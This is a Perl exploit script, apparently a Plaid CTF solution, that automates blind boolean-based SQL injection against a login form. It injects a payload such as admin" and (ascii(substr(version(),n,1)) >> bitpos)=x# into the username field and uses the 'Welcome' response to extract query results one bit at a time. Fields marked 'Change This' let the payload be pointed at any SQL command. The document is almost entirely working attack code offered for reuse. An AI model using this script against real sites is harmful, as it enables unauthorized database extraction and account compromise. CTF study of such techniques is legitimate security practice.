Blind SQL use Bit Shifting

# Plaid CTF Blind SQL use Bit Shifting
# Author : Xenithz
# Twitter: @Xenithz

use LWP::UserAgent;
my $browser = LWP::UserAgent->new();
$numpos = 1;
$result ='';
$sqlcmd = "version()";  #Change This
$prefix = "admin\""; #Change This
$postfix = "#";       #Change This

while(1){
###############       Start Value
$bitpos = 7;  #       Bit position Start @ position 7 -> [0]000000 = 0
$checkval= 0; #       Check Bit Value  <-----------------------------|
$bitval = ''; #       Reset Bit Value
###############
while($bitpos >= 0){
$bsql = $prefix." and (ascii((substr(($sqlcmd),$numpos,1))) >> $bitpos)=$checkval".$postfix;
$response = $browser->post('http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index',[username=>$bsql,password=>'256418',submit=>'submit']);
if($response->content =~ /Welcome/gi){ #bit 0 is true
    $bitval .= '0';
}else{                                 #bit 1 is true
    $bitval .= '1';
}
$checkval = oct('0b'.$bitval.'0');
$bitpos--;
}
$result .= pack('B*',$bitval);
$numpos++;
$chr = pack('B*',$bitval);
print "\n[Debug][Result]:$result";
if($bitval == '0000000'){print $result;exit();} # Print & Exit
}